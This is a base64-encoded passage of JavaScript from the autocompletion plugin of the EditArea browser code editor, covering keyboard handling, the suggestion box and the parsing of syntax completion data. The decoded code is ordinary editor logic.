Vzbid0IGhhdmUgdGhhdCBjb250cm9sLg0KCSAqIEEgY29udHJvbCBjYW4gYmUgYSBidXR0b24sIHNlbGVjdCBsaXN0IG9yIGFueSBvdGhlciBIVE1MIGl0ZW0gdG8gcHJlc2VudCBpbiB0aGUgRWRpdEFyZWEgdXNlciBpbnRlcmZhY2UuDQoJICogTGFuZ3VhZ2UgdmFyaWFibGVzIHN1Y2ggYXMgeyRsYW5nX3NvbWVrZXl9IHdpbGwgYWxzbyBiZSByZXBsYWNlZCB3aXRoIGNvbnRlbnRzIGZyb20NCgkgKiB0aGUgbGFuZ3VhZ2UgcGFja3MuDQoJICogDQoJICogQHBhcmFtIHtzdHJpbmd9IGN0cmxfbmFtZTogdGhlIG5hbWUgb2YgdGhlIGNvbnRyb2wgdG8gYWRkCSAgDQoJICogQHJldHVybiBIVE1MIGNvZGUgZm9yIGEgc3BlY2lmaWMgY29udHJvbCBvciBmYWxzZS4NCgkgKiBAdHlwZSBzdHJpbmcJb3IgYm9vbGVhbg0KCSAqLwkNCgkvKixnZXRfY29udHJvbF9odG1sOiBmdW5jdGlvbihjdHJsX25hbWUpew0KCQlzd2l0Y2goIGN0cmxfbmFtZSApew0KCQkJY2FzZSAnYXV0b2NvbXBsZXRpb24nOg0KCQkJCS8vIENvbnRyb2wgaWQsIGJ1dHRvbiBpbWcsIGNvbW1hbmQNCgkJCQlyZXR1cm4gcGFyZW50LmVkaXRBcmVhTG9hZGVyLmdldF9idXR0b25faHRtbCgnYXV0b2NvbXBsZXRpb25fYnV0JywgJ2F1dG9jb21wbGV0aW9uLmdpZicsICd0b2dnbGVfYXV0b2NvbXBsZXRpb24nLCBmYWxzZSwgdGhpcy5iYXNlVVJMKTsNCgkJCQlicmVhazsNCgkJfQ0KCQlyZXR1cm4gZmFsc2U7DQoJfSovDQoJLyoqDQoJICogR2V0IGNhbGxlZCBvbmNlIEVkaXRBcmVhIGlzIGZ1bGx5IGxvYWRlZCBhbmQgaW5pdGlhbGlzZWQNCgkgKgkgDQoJICogQHJldHVybiBub3RoaW5nDQoJICovCSAJIAkNCgksb25sb2FkOiBmdW5jdGlvbigpeyANCgkJaWYodGhpcy5lbmFibGVkKQ0KCQl7DQoJCQl2YXIgaWNvbj0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImF1dG9jb21wbGV0aW9uIik7DQoJCQlpZihpY29uKQ0KCQkJCWVkaXRBcmVhLnN3aXRjaENsYXNzU3RpY2t5KGljb24sICdlZGl0QXJlYUJ1dHRvblNlbGVjdGVkJywgdHJ1ZSk7DQoJCX0NCgkJDQoJCXRoaXMuY29udGFpbmVyCT0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7DQoJCXRoaXMuY29udGFpbmVyLmlkCT0gImF1dG9fY29tcGxldGlvbl9hcmVhIjsNCgkJZWRpdEFyZWEuY29udGFpbmVyLmluc2VydEJlZm9yZSggdGhpcy5jb250YWluZXIsIGVkaXRBcmVhLmNvbnRhaW5lci5maXJzdENoaWxkICk7DQoJCQ0KCQkvLyBhZGQgZXZlbnQgZGV0ZWN0aW9uIGZvciBoaWRpbmcgc3VnZ2VzdGlvbiBib3gNCgkJZWRpdEFyZWEuYWRkX2V2ZW50KCBkb2N1bWVudCwgImNsaWNrIiwgZnVuY3Rpb24oKXsgZWRpdEFyZWEucGx1Z2luc1snYXV0b2NvbXBsZXRpb24nXS5faGlkZSgpO30gKTsNCgkJZWRpdEFyZWEuYWRkX2V2ZW50KCBlZGl0QXJlYS50ZXh0YXJlYSwgImJsdXIiLCBmdW5jdGlvbigpeyBlZGl0QXJlYS5wbHVnaW5zWydhdXRvY29tcGxldGlvbiddLl9oaWRlKCk7fSApOw0KCQkNCgl9DQoJDQoJLyoqDQoJICogSXMgY2FsbGVkIGVhY2ggdGltZSB0aGUgdXNlciB0b3VjaCBhIGtleWJvYXJkIGtleS4NCgkgKgkgDQoJICogQHBhcmFtIChldmVudCkgZTogdGhlIGtleWRvd24gZXZlbnQNCgkgKiBAcmV0dXJuIHRydWUgLSBwYXNzIHRvIG5leHQgaGFuZGxlciBpbiBjaGFpbiwgZmFsc2UgLSBzdG9wIGNoYWluIGV4ZWN1dGlvbg0KCSAqIEB0eXBlIGJvb2xlYW4JIA0KCSAqLw0KCSxvbmtleWRvd246IGZ1bmN0aW9uKGUpew0KCQlpZighdGhpcy5lbmFibGVkKQ0KCQkJcmV0dXJuIHRydWU7DQoJCQkNCgkJaWYgKEVBX2tleXNbZS5rZXlDb2RlXSkNCgkJCWxldHRlcj1FQV9rZXlzW2Uua2V5Q29kZV07DQoJCWVsc2UNCgkJCWxldHRlcj1TdHJpbmcuZnJvbUNoYXJDb2RlKGUua2V5Q29kZSk7CQ0KCQkvLyBzaG93bg0KCQlpZiggdGhpcy5faXNTaG93bigpICkNCgkJewkNCgkJCS8vIGlmIGVzY2FwZSwgaGlkZSB0aGUgYm94DQoJCQlpZihsZXR0ZXI9PSJFc2MiKQ0KCQkJew0KCQkJCXRoaXMuX2hpZGUoKTsNCgkJCQlyZXR1cm4gZmFsc2U7DQoJCQl9DQoJCQkvLyBFbnRlcg0KCQkJZWxzZSBpZiggbGV0dGVyPT0iRW50cmVyIikNCgkJCXsNCgkJCQl2YXIgYXMJPSB0aGlzLmNvbnRhaW5lci5nZXRFbGVtZW50c0J5VGFnTmFtZSgnQScpOw0KCQkJCS8vIHNlbGVjdCBhIHN1Z2dlc3RlZCBlbnRyeQ0KCQkJCWlmKCB0aGlzLnNlbGVjdEluZGV4ID49IDAgJiYgdGhpcy5zZWxlY3RJbmRleCA8IGFzLmxlbmd0aCApDQoJCQkJew0KCQkJCQlhc1sgdGhpcy5zZWxlY3RJbmRleCBdLm9ubW91c2Vkb3duKCk7DQoJCQkJCXJldHVybiBmYWxzZQ0KCQkJCX0NCgkJCQkvLyBzaW1wbHkgYWRkIGFuIGVudGVyIGluIHRoZSBjb2RlDQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJdGhpcy5faGlkZSgpOw0KCQkJCQlyZXR1cm4gdHJ1ZTsNCgkJCQl9DQoJCQl9DQoJCQllbHNlIGlmKCBsZXR0ZXI9PSJUYWIiIHx8IGxldHRlcj09IkRvd24iKQ0KCQkJew0KCQkJCXRoaXMuX3NlbGVjdE5leHQoKTsNCgkJCQlyZXR1cm4gZmFsc2U7DQoJCQl9DQoJCQllbHNlIGlmKCBsZXR0ZXI9PSJVcCIpDQoJCQl7DQoJCQkJdGhpcy5fc2VsZWN0QmVmb3JlKCk7DQoJCQkJcmV0dXJuIGZhbHNlOw0KCQkJfQ0KCQl9DQoJCS8vIGhpZGRlbg0KCQllbHNlDQoJCXsNCgkJCQ0KCQl9DQoJCQ0KCQkvLyBzaG93IGN1cnJlbnQgc3VnZ2VzdGlvbiBsaXN0IGFuZCBkbyBhdXRvU2VsZWN0IGlmIHBvc3NpYmxlIChubyBtYXR0ZXIgaXQncyBzaG93biBvciBoaWRkZW4pDQoJCWlmKCBsZXR0ZXI9PSJTcGFjZSIgJiYgQ3RybFByZXNzZWQoZSkgKQ0KCQl7DQoJCQlwYXJlbnQuY29uc29sZS5sb2coJ1NIT1cgU1VHR0VTVCcpOw0KCQkJdGhpcy5mb3JjZURpc3BsYXkgCQkJPSB0cnVlOw0KCQkJdGhpcy5hdXRvU2VsZWN0SWZPbmVSZXN1bHQJPSB0cnVlOw0KCQkJdGhpcy5fY2hlY2tMZXR0ZXIoKTsNCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQkNCgkJLy8gd2FpdCBhIHNob3J0IHBlcmlvZCBmb3IgY2hlY2sgdGhhdCB0aGUgY3Vyc29yIGlzbid0IG1vdmluZw0KCQlzZXRUaW1lb3V0KCJlZGl0QXJlYS5wbHVnaW5zWydhdXRvY29tcGxldGlvbiddLl9jaGVja0RlbGF5QW5kQ3Vyc29yQmVmb3JlRGlzcGxheSgpOyIsIGVkaXRBcmVhLmNoZWNrX2xpbmVfc2VsZWN0aW9uX3RpbWVyICs1ICk7DQoJCXRoaXMuY2hlY2tEZWxheVRpbWVyID0gZmFsc2U7DQoJCXJldHVybiB0cnVlOw0KCX0JDQoJLyoqDQoJICogRXhlY3V0ZXMgYSBzcGVjaWZpYyBjb21tYW5kLCB0aGlzIGZ1bmN0aW9uIGhhbmRsZXMgcGx1Z2luIGNvbW1hbmRzLg0KCSAqDQoJICogQHBhcmFtIHtzdHJpbmd9IGNtZDogdGhlIG5hbWUgb2YgdGhlIGNvbW1hbmQgYmVpbmcgZXhlY3V0ZWQNCgkgKiBAcGFyYW0ge3Vua25vd259IHBhcmFtOiB0aGUgcGFyYW1ldGVyIG9mIHRoZSBjb21tYW5kCSANCgkgKiBAcmV0dXJuIHRydWUgLSBwYXNzIHRvIG5leHQgaGFuZGxlciBpbiBjaGFpbiwgZmFsc2UgLSBzdG9wIGNoYWluIGV4ZWN1dGlvbg0KCSAqIEB0eXBlIGJvb2xlYW4JDQoJICovDQoJLGV4ZWNDb21tYW5kOiBmdW5jdGlvbihjbWQsIHBhcmFtKXsNCgkJc3dpdGNoKCBjbWQgKXsNCgkJCWNhc2UgJ3RvZ2dsZV9hdXRvY29tcGxldGlvbic6DQoJCQkJdmFyIGljb249IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJhdXRvY29tcGxldGlvbiIpOw0KCQkJCWlmKCF0aGlzLmVuYWJsZWQpDQoJCQkJew0KCQkJCQlpZihpY29uICE9IG51bGwpew0KCQkJCQkJZWRpdEFyZWEucmVzdG9yZUNsYXNzKGljb24pOw0KCQkJCQkJZWRpdEFyZWEuc3dpdGNoQ2xhc3NTdGlja3koaWNvbiwgJ2VkaXRBcmVhQnV0dG9uU2VsZWN0ZWQnLCB0cnVlKTsNCgkJCQkJfQ0KCQkJCQl0aGlzLmVuYWJsZWQ9IHRydWU7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXRoaXMuZW5hYmxlZD0gZmFsc2U7DQoJCQkJCWlmKGljb24gIT0gbnVsbCkNCgkJCQkJCWVkaXRBcmVhLnN3aXRjaENsYXNzU3RpY2t5KGljb24sICdlZGl0QXJlYUJ1dHRvbk5vcm1hbCcsIGZhbHNlKTsNCgkJCQl9DQoJCQkJcmV0dXJuIHRydWU7DQoJCX0NCgkJcmV0dXJuIHRydWU7DQoJfQ0KCSxfY2hlY2tEZWxheUFuZEN1cnNvckJlZm9yZURpc3BsYXk6IGZ1bmN0aW9uKCkNCgl7DQoJCXRoaXMuY2hlY2tEZWxheVRpbWVyID0gc2V0VGltZW91dCgiaWYoZWRpdEFyZWEudGV4dGFyZWEuc2VsZWN0aW9uU3RhcnQgPT0gIisgZWRpdEFyZWEudGV4dGFyZWEuc2VsZWN0aW9uU3RhcnQgKyIpIEVkaXRBcmVhX2F1dG9jb21wbGV0aW9uLl9jaGVja0xldHRlcigpOyIsICB0aGlzLmRlbGF5QmVmb3JlRGlzcGxheSAtIGVkaXRBcmVhLmNoZWNrX2xpbmVfc2VsZWN0aW9uX3RpbWVyIC0gNSApOw0KCX0NCgkvLyBoaWRlIHRoZSBzdWdnZXN0ZWQgYm94DQoJLF9oaWRlOiBmdW5jdGlvbigpew0KCQl0aGlzLmNvbnRhaW5lci5zdHlsZS5kaXNwbGF5PSJub25lIjsNCgkJdGhpcy5zZWxlY3RJbmRleAk9IC0xOw0KCQl0aGlzLnNob3duCT0gZmFsc2U7DQoJCXRoaXMuZm9yY2VEaXNwbGF5CT0gZmFsc2U7DQoJCXRoaXMuYXV0b1NlbGVjdElmT25lUmVzdWx0ID0gZmFsc2U7DQoJfQ0KCS8vIGRpc3BsYXkgdGhlIHN1Z2dlc3RlZCBib3gNCgksX3Nob3c6IGZ1bmN0aW9uKCl7DQoJCWlmKCAhdGhpcy5faXNTaG93bigpICkNCgkJew0KCQkJdGhpcy5jb250YWluZXIuc3R5bGUuZGlzcGxheT0iYmxvY2siOw0KCQkJdGhpcy5zZWxlY3RJbmRleAk9IC0xOw0KCQkJdGhpcy5zaG93bgk9IHRydWU7DQoJCX0NCgl9DQoJLy8gaXMgdGhlIHN1Z2dlc3RlZCBib3ggZGlzcGxheWVkPw0KCSxfaXNTaG93bjogZnVuY3Rpb24oKXsNCgkJcmV0dXJuIHRoaXMuc2hvd247DQoJfQ0KCS8vIHNldHRlciBhbmQgZ2V0dGVyDQoJLF9pc0luTWlkZGxlV29yZDogZnVuY3Rpb24oIG5ld192YWx1ZSApew0KCQlpZiggdHlwZW9mKCBuZXdfdmFsdWUgKSA9PSAidW5kZWZpbmVkIiApDQoJCQlyZXR1cm4gdGhpcy5pc0luTWlkZGxlV29yZDsNCgkJZWxzZQ0KCQkJdGhpcy5pc0luTWlkZGxlV29yZAk9IG5ld192YWx1ZTsNCgl9DQoJLy8gc2VsZWN0IHRoZSBuZXh0IGVsZW1lbnQgaW4gdGhlIHN1Z2dlc3RlZCBib3gNCgksX3NlbGVjdE5leHQ6IGZ1bmN0aW9uKCkNCgl7DQoJCXZhciBhcwk9IHRoaXMuY29udGFpbmVyLmdldEVsZW1lbnRzQnlUYWdOYW1lKCdBJyk7DQoJCQ0KCQkvLyBjbGVhbiBleGlzdGluZyBlbGVtZW50cw0KCQlmb3IoIHZhciBpPTA7IGk8YXMubGVuZ3RoOyBpKysgKQ0KCQl7DQoJCQlpZiggYXNbaV0uY2xhc3NOYW1lICkNCgkJCQlhc1tpXS5jbGFzc05hbWUJPSBhc1tpXS5jbGFzc05hbWUucmVwbGFjZSgvIGZvY3VzL2csICcnKTsNCgkJfQ0KCQkNCgkJdGhpcy5zZWxlY3RJbmRleCsrOwkNCgkJdGhpcy5zZWxlY3RJbmRleAk9ICggdGhpcy5zZWxlY3RJbmRleCA+PSBhcy5sZW5ndGggfHwgdGhpcy5zZWxlY3RJbmRleCA8IDAgKSA/IDAgOiB0aGlzLnNlbGVjdEluZGV4Ow0KCQlhc1sgdGhpcy5zZWxlY3RJbmRleCBdLmNsYXNzTmFtZQkrPSAiIGZvY3VzIjsNCgl9DQoJLy8gc2VsZWN0IHRoZSBwcmV2aW91cyBlbGVtZW50IGluIHRoZSBzdWdnZXN0ZWQgYm94DQoJLF9zZWxlY3RCZWZvcmU6IGZ1bmN0aW9uKCkNCgl7DQoJCXZhciBhcwk9IHRoaXMuY29udGFpbmVyLmdldEVsZW1lbnRzQnlUYWdOYW1lKCdBJyk7DQoJCQ0KCQkvLyBjbGVhbiBleGlzdGluZyBlbGVtZW50cw0KCQlmb3IoIHZhciBpPTA7IGk8YXMubGVuZ3RoOyBpKysgKQ0KCQl7DQoJCQlpZiggYXNbaV0uY2xhc3NOYW1lICkNCgkJCQlhc1tpXS5jbGFzc05hbWUJPSBhc1sgaSBdLmNsYXNzTmFtZS5yZXBsYWNlKC8gZm9jdXMvZywgJycpOw0KCQl9DQoJCQ0KCQl0aGlzLnNlbGVjdEluZGV4LS07DQoJCQ0KCQl0aGlzLnNlbGVjdEluZGV4CT0gKCB0aGlzLnNlbGVjdEluZGV4ID49IGFzLmxlbmd0aCB8fCB0aGlzLnNlbGVjdEluZGV4IDwgMCApID8gYXMubGVuZ3RoLTEgOiB0aGlzLnNlbGVjdEluZGV4Ow0KCQlhc1sgdGhpcy5zZWxlY3RJbmRleCBdLmNsYXNzTmFtZQkrPSAiIGZvY3VzIjsNCgl9DQoJLF9zZWxlY3Q6IGZ1bmN0aW9uKCBjb250ZW50ICkNCgl7DQoJCWN1cnNvcl9mb3JjZWRfcG9zaXRpb24JPSBjb250ZW50LmluZGV4T2YoICd7QH0nICk7DQoJCWNvbnRlbnQJPSBjb250ZW50LnJlcGxhY2UoL3tAfS9nLCAnJyApOw0KCQlpZihlZGl0QXJlYS5uYXZbJ2lzSUUnXSkNCgkJCWVkaXRBcmVhLmdldElFU2VsZWN0aW9uKCk7DQoJCQ0KCQkvLyByZXRyaXZlIHRoZSBudW1iZXIgb2YgbWF0Y2hpbmcgY2hhcmFjdGVycw0KCQl2YXIgc3RhcnRfaW5kZXgJPSBNYXRoLm1heCggMCwgZWRpdEFyZWEudGV4dGFyZWEuc2VsZWN0aW9uRW5kIC0gY29udGVudC5sZW5ndGggKTsNCgkJDQoJCWxpbmVfc3RyaW5nCT0gCWVkaXRBcmVhLnRleHRhcmVhLnZhbHVlLnN1YnN0cmluZyggc3RhcnRfaW5kZXgsIGVkaXRBcmVhLnRleHRhcmVhLnNlbGVjdGlvbkVuZCArIDEpOw0KCQlsaW1pdAk9IGxpbmVfc3RyaW5nLmxlbmd0aCAtMTsNCgkJbmJNYXRjaAk9IDA7DQoJCWZvciggaSA9MDsgaTxsaW1pdCA7IGkrKyApDQoJCXsNCgkJCWlmKCBsaW5lX3N0cmluZy5zdWJzdHJpbmcoIGxpbWl0IC0gaSAtIDEsIGxpbWl0ICkgPT0gY29udGVudC5zdWJzdHJpbmcoIDAsIGkgKyAxICkgKQ0KCQkJCW5iTWF0Y2ggPSBpICsgMTsNCgkJfQ0KCQkvLyBpZiBjaGFyYWN0ZXJzIG1hdGNoLCB3ZSBzaG91bGQgaW5jbHVkZSB0aGVtIGluIHRoZSBzZWxlY3Rpb24gdGhhdCB3aWxsIGJlIHJlcGxhY2VkDQoJCWlmKCBuYk1hdGNoID4gMCApDQoJCQlwYXJlbnQuZWRpdEFyZWFMb2FkZXIuc2V0U2VsZWN0aW9uUmFuZ2UoZWRpdEFyZWEuaWQsIGVkaXRBcmVhLnRleHRhcmVhLnNlbGVjdGlvblN0YXJ0IC0gbmJNYXRjaCAsIGVkaXRBcmVhLnRleHRhcmVhLnNlbGVjdGlvbkVuZCk7DQoJCQ0KCQlwYXJlbnQuZWRpdEFyZWFMb2FkZXIuc2V0U2VsZWN0ZWRUZXh0KGVkaXRBcmVhLmlkLCBjb250ZW50ICk7DQoJCXJhbmdlPSBwYXJlbnQuZWRpdEFyZWFMb2FkZXIuZ2V0U2VsZWN0aW9uUmFuZ2UoZWRpdEFyZWEuaWQpOw0KCQkNCgkJaWYoIGN1cnNvcl9mb3JjZWRfcG9zaXRpb24gIT0gLTEgKQ0KCQkJbmV3X3Bvcwk9IHJhbmdlWyJlbmQiXSAtICggY29udGVudC5sZW5ndGgtY3Vyc29yX2ZvcmNlZF9wb3NpdGlvbiApOw0KCQllbHNlDQoJCQluZXdfcG9zCT0gcmFuZ2VbImVuZCJdOwkNCgkJcGFyZW50LmVkaXRBcmVhTG9hZGVyLnNldFNlbGVjdGlvblJhbmdlKGVkaXRBcmVhLmlkLCBuZXdfcG9zLCBuZXdfcG9zKTsNCgkJdGhpcy5faGlkZSgpOw0KCX0NCgkNCgkNCgkvKioNCgkgKiBQYXJzZSB0aGUgQVVUT19DT01QTEVUSU9OIHBhcnQgb2Ygc3ludGF4IGRlZmluaXRpb24gZmlsZXMNCgkgKi8NCgksX3BhcnNlU3ludGF4QXV0b0NvbXBsZXRpb25EYXRhczogZnVuY3Rpb24oKXsNCgkJLy9mb3JlYWNoIHN5bnRheCBsb2FkZWQNCgkJZm9yKHZhciBsYW5nIGluIHBhcmVudC5lZGl0QXJlYUxvYWRlci5sb2FkX3N5bnRheCkNCgkJew0KCQkJaWYoIXBhcmVudC5lZGl0QXJlYUxvYWRlci5zeW50YXhbbGFuZ11bJ2F1dG9jb21wbGV0aW9uJ10pCS8vIGluaXQgdGhlIHJlZ2V4cCBpZiBub3QgYWxyZWFkeSBpbml0aWFsaXplZA0KCQkJew0KCQkJCXBhcmVudC5lZGl0QXJlYUxvYWRlci5zeW50YXhbbGFuZ11bJ2F1dG9jb21wbGV0aW9uJ109IHt9Ow0KCQkJCS8vIHRoZSBmaWxlIGhhcyBhdXRvIGNvbXBsZXRpb24gZGF0YXMNCgkJCQlpZihwYXJlbnQuZWRpdEFyZWFMb2FkZXIubG9hZF9zeW50YXhbbGFuZ11bJ0FVVE9fQ09NUExFVElPTiddKQ0KCQkJCXsNCgkJCQkJLy8gcGFyc2UgdGhlbQ0KCQkJCQlmb3IodmFyIGkgaW4gcGFyZW50LmVkaXRBcmVhTG9hZGVyLmxvYWRfc3ludGF4W2xhbmddWydBVVRPX0NPTVBMRVRJT04nXSkNCgkJCQkJew0KCQkJCQkJZGF0YXMJPSBwYXJlbnQuZWRpdEFyZWFMb2FkZXIubG9hZF9zeW50YXhbbGFuZ11bJ0FVVE9fQ09NUExFVElPTiddW2ldOw0KCQkJCQkJdG1wCT0ge307DQoJCQkJCQlpZihkYXRhc1siQ0FTRV9TRU5TSVRJVkUiXSE9InVuZGVmaW5lZCIgJiYgZGF0YXNbIkNBU0VfU0VOU0lUSVZFIl09PWZhbHNlKQ0KCQkJCQkJCXRtcFsibW9kaWZpZXJzIl09ImkiOw0KCQkJCQkJZWxzZQ0KCQkJCQkJCXRtcFsibW9kaWZpZXJzIl09IiI7DQoJCQkJCQl0bXBbInByZWZpeF9zZXBhcmF0b3IiXT0gZGF0YXNbIlJFR0VYUCJdWyJwcmVmaXhfc2VwYXJhdG9yIl07DQoJCQkJCQl0bXBbIm1hdGNoX3ByZWZpeF9zZXBhcmF0b3IiXT0gbmV3IFJlZ0V4cCggZGF0YXNbIlJFR0VYUCJdWyJwcmVmaXhfc2VwYXJhdG9yIl0gKyIkIiwgdG1wWyJtb2RpZmllcnMiXSk7DQoJCQkJCQl0bXBbIm1hdGNoX3dvcmQiXT0gbmV3IFJlZ0V4cCgiKD86IisgZGF0YXNbIlJFR0VYUCJdWyJiZWZvcmVfd29yZCJdICsiKSgiKyBkYXRhc1siUkVHRVhQIl1bInBvc3NpYmxlX3dvcmRzX2xldHRlcnMiXSArIikkIiwgdG1wWyJtb2RpZmllcnMiXSk7DQoJCQkJCQl0bXBbIm1hdGNoX25leHRfbGV0dGVyIl09IG5ldyBSZWdFeHAoIl4oIisgZGF0YXNbIlJFR0VYUCJdWyJsZXR0ZXJfYWZ0ZXJfd29yZF9tdXN0X21hdGNoIl0gKyIpJCIsIHRtcFsibW9kaWZpZXJzIl0pOw0KCQkJCQkJdG1wWyJrZXl3b3JkcyJdPSB7fTsNCgkJCQkJCWNvbnNvbGUubG9nKCBkYXRhc1siS0VZV09SRFMiXSApOw0KCQkJCQkJZm9yKCB2YXIgcHJlZml4IGluIGRhdGFzWyJLRVlXT1JEUyJdICkNCgkJCQkJCXsNCgkJCQkJCQl0bXBbImtleXdvcmRzIl1bcHJlZml4XT0gew0KCQkJCQkJCQlwcmVmaXg6IHByZWZpeCwNCgkJCQkJCQkJcHJlZml4X25hbWU6IHByZWZpeCwNCgkJCQkJCQkJcHJlZml4X3JlZzogbmV3IFJlZ0V4cCgiKD86IisgcGFyZW50LmVkaXRBcmVhTG9hZGVyLmdldF9lc2NhcGVkX3JlZ2V4cCggcHJlZml4ICkgKyIpKD86IisgdG1wWyJwcmVmaXhfc2VwYXJhdG9yIl0gKyIpJCIsIHRtcFsibW9kaWZpZXJzIl0gKSwNCgkJCQkJCQkJZGF0YXM6IFtdDQoJCQkJCQkJfTsNCgkJCQkJCQlmb3IoIHZhciBqPTA7IGo8ZGF0YXNbIktFWVdPUkRTIl1bcHJlZml4XS5sZW5ndGg7IGorKyApDQoJCQkJCQkJew0KCQkJCQkJCQl0bXBbImtleXdvcmRzIl1bcHJlZml4XVsnZGF0YXMnXVtqXT0gew0KCQkJCQkJCQkJaXNfdHlwaW5nOiBkYXRhc1siS0VZV09SRFMiXVtwcmVmaXhdW2pdWzBdLA0KCQkJCQkJCQkJLy8gaWYgcmVwbGFjZSB3aXRoIGlzIGVtcHR5LCByZXBsYWNlIHdpdGggdGhlIGlzX3R5cGluZyB2YWx1ZQ0KCQkJCQkJCQkJcmVwbGFjZV93aXRoOiBkYXRhc1siS0VZV09SRFMiXVtwcmVmaXhdW2pdWzFdID8gZGF0YXNbIktFWVdPUkRTIl1bcHJlZml4XVtqXVsxXS5yZXBsYWNlKCenJywgZGF0YXNbIktFWVdPUkRTIl1bcHJlZml4XVtqXVswXSApIDogJycsDQoJCQkJCQkJCQljb21tZW50OiBkYXRhc1siS0VZV09SRFMiXVtwcmVmaXhdW2pdWzJdID8gZGF0YXNbIktFWVdPUkRTIl1bcHJlZml4XVtqXVsyXSA6ICcnIA0KCQkJCQkJCQl9Ow0KCQkJCQkJCQkNCgkJCQkJCQkJLy8gdGhlIHJlcGxhY2Ugd2l0aCBzaG91bGRuJ3QgYmUgZW1wdHkNCgkJCQkJCQkJaWYoIHRtcFsia2V5d29yZHMiXVtwcmVmaXhdWydkYXRhcyddW2pdWydyZXBsYWNlX3dpdGgnXS5sZW5ndGggPT0gMCApDQoJCQkJCQkJCQl0bXBbImtleXdvcmRzIl1bcHJlZml4XVsnZGF0YXMnXVtqXVsncmVwbGFjZV93aXRoJ10gPSB0bXBbImtleXdvcmRzIl1bcHJlZml4XVsnZGF0YXMnXVtqXVsnaXNfdHlwaW5nJ107DQoJCQkJCQkJCQ0KCQkJCQkJCQkvLyBpZiB0aGUgY29tbWVudCBpcyBlbXB0eSwgZGlzcGxheSB0aGUgcmVwbGFjZV93aXRoIHZhbHVlDQoJCQkJCQkJCWlmKCB0bXBbImtleXdvcmRzIl1bcHJlZml4XVsnZGF0YXMnXVtqXVsnY29tbWVudCddLmxlbmd0aCA9PSAwICkNCgkJCQkJCQkJCSB0bXBbImtleXdvcmRzIl1bcHJlZml4XVsnZGF0YXMnXVtqXVsnY29tbWVudCddID0gdG1wWyJrZXl3b3JkcyJdW3ByZWZpeF1bJ2RhdGFzJ11bal1bJ3JlcGxhY2Vfd2l0aCddLnJlcGxhY2UoL3tAfS9nLCAnJyApOw0KCQkJCQkJCX0NCgkJCQkJCQkJDQoJCQkJCQl9DQoJCQkJCQl0bXBbIm1heF90ZXh0X2xlbmd0aCJdPSBkYXRhc1siTUFYX1RFWFRfTEVOR1RIIl07DQoJCQkJCQlwYXJlbnQuZWRpdEFyZWFMb2FkZXIuc3ludGF4W2xhbmddWydhdXRvY29tcGxldGlvbiddW2ldCT0gdG1wOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KCQ0KCSxfY2hlY2tMZXR0ZXI6IGZ1bmN0aW9uKCl7DQoJCS8vIGNoZWNrIHRoYXQgc3ludGF4IGhhc24ndCBjaGFuZ2VkDQoJCWlmKCB0aGlzLmN1cnJfc3ludGF4X3N0ciAhPSBlZGl0QXJlYS5zZXR0aW5nc1snc3ludGF4J10gKQ0KCQl7DQoJCQlpZiggIXBhcmVudC5lZGl0QXJlYUxvYWRlci5zeW50YXhbZWRpdEFyZWEuc2V0dGluZ3NbJ3N5bnRheCddXVsnYXV0b2NvbXBsZXRpb24nXSApDQoJCQkJdGhpcy5fcGFyc2VTeW50YXhBdXRvQ29tcGxldGlvbkRhdGFzKCk7DQoJCQl0aGlzLmN1cnJfc3ludGF4PSBwYXJlbnQuZWRpdEFyZWFMb2FkZXIuc3ludGF4W2VkaXRBcmVhLnNldHRpbmdzWydzeW50YXgnXV1bJ2F1dG9jb21wbGV0aW9uJ107DQoJCQl0aGlzLmN1cnJfc3ludGF4X3N0ciA9IGVkaXRBcmVhLnNldHRpbmdzWydzeW50YXgnXTsNCgkJCWNvbnNvbGUubG9nKCB0aGlzLmN1cnJfc3ludGF4ICk7DQoJCX0NCgkJDQoJCWlmKCBlZGl0QXJlYS5pc19lZGl0YWJsZSApDQoJCXsNCgkJCXRpbWU9bmV3IERhdGU7DQoJCQl0MT0gdGltZS5nZXRUaW1lKCk7DQoJCQlpZihlZGl0QXJlYS5uYXZbJ2lzSUUnXSkNCgkJCQllZGl0QXJlYS5nZXRJRVNlbGVjdGlvbigpOw0KCQkJdGhpcy5zZWxlY3RJbmRleAk9IC0xOw0KCQkJc3RhcnQ9ZWRpdEFyZWEudGV4dGFyZWEuc2VsZWN0aW9uU3RhcnQ7DQoJCQl2YXIgc3RyCT0gZWRpdEFyZWEudGV4dGFyZWEudmFsdWU7DQoJCQl2YXIgcmVzdWx0cz0gbmV3IEFycmF5KCk7DQoJCQkNCgkJCQ0KCQkJZm9yKHZhciBpIGluIHRoaXMuY3Vycl9zeW50YXgpDQoJCQl7DQoJCQkJdmFyIGxhc3RfY2hhcnMJPSBzdHIuc3Vic3RyaW5nKE1hdGgubWF4KDAsIHN0YXJ0LXRoaXMuY3Vycl9zeW50YXhbaV1bIm1heF90ZXh0X2xlbmd0aCJdKSwgc3RhcnQpOw0KCQkJCXZhciBtYXRjaE5leHRsZXR0ZXIJPSBzdHIuc3Vic3RyaW5nKHN0YXJ0LCBzdGFydCsxKS5tYXRjaCggdGhpcy5jdXJyX3N5bnRheFtpXVsibWF0Y2hfbmV4dF9sZXR0ZXIiXSk7DQoJCQkJLy8gaWYgbm90IHdyaXR0aW5nIGluIHRoZSBtaWRkbGUgb2YgYSB3b3JkIG9yIGlmIGZvcmNpbmcgZGlzcGxheQ0KCQkJCWlmKCBtYXRjaE5leHRsZXR0ZXIgfHwgdGhpcy5mb3JjZURpc3BsYXkgKQ0KCQkJCXsNCgkJCQkJLy8gY2hlY2sgaWYgdGhlIGxhc3QgY2hhcnMgbWF0Y2ggYSBzZXBhcmF0b3INCgkJCQkJdmFyIG1hdGNoX3ByZWZpeF9zZXBhcmF0b3IgPSBsYXN0X2NoYXJzLm1hdGNoKHRoaXMuY3Vycl9zeW50YXhbaV1bIm1hdGNoX3ByZWZpeF9zZXBhcmF0b3IiXSk7DQoJCQkNCgkJCQkJLy8gY2hlY2sgaWYgaXQgbWF0Y2ggYSBwb3NzaWJsZSB3b3JkDQoJCQkJCXZhciBtYXRjaF93b3JkPSBsYXN0X2NoYXJzLm1hdGNoKHRoaXMuY3Vycl9zeW50YXhbaV1bIm1hdGNoX3dvcmQiXSk7DQoJCQkJCQ0KCQkJCQ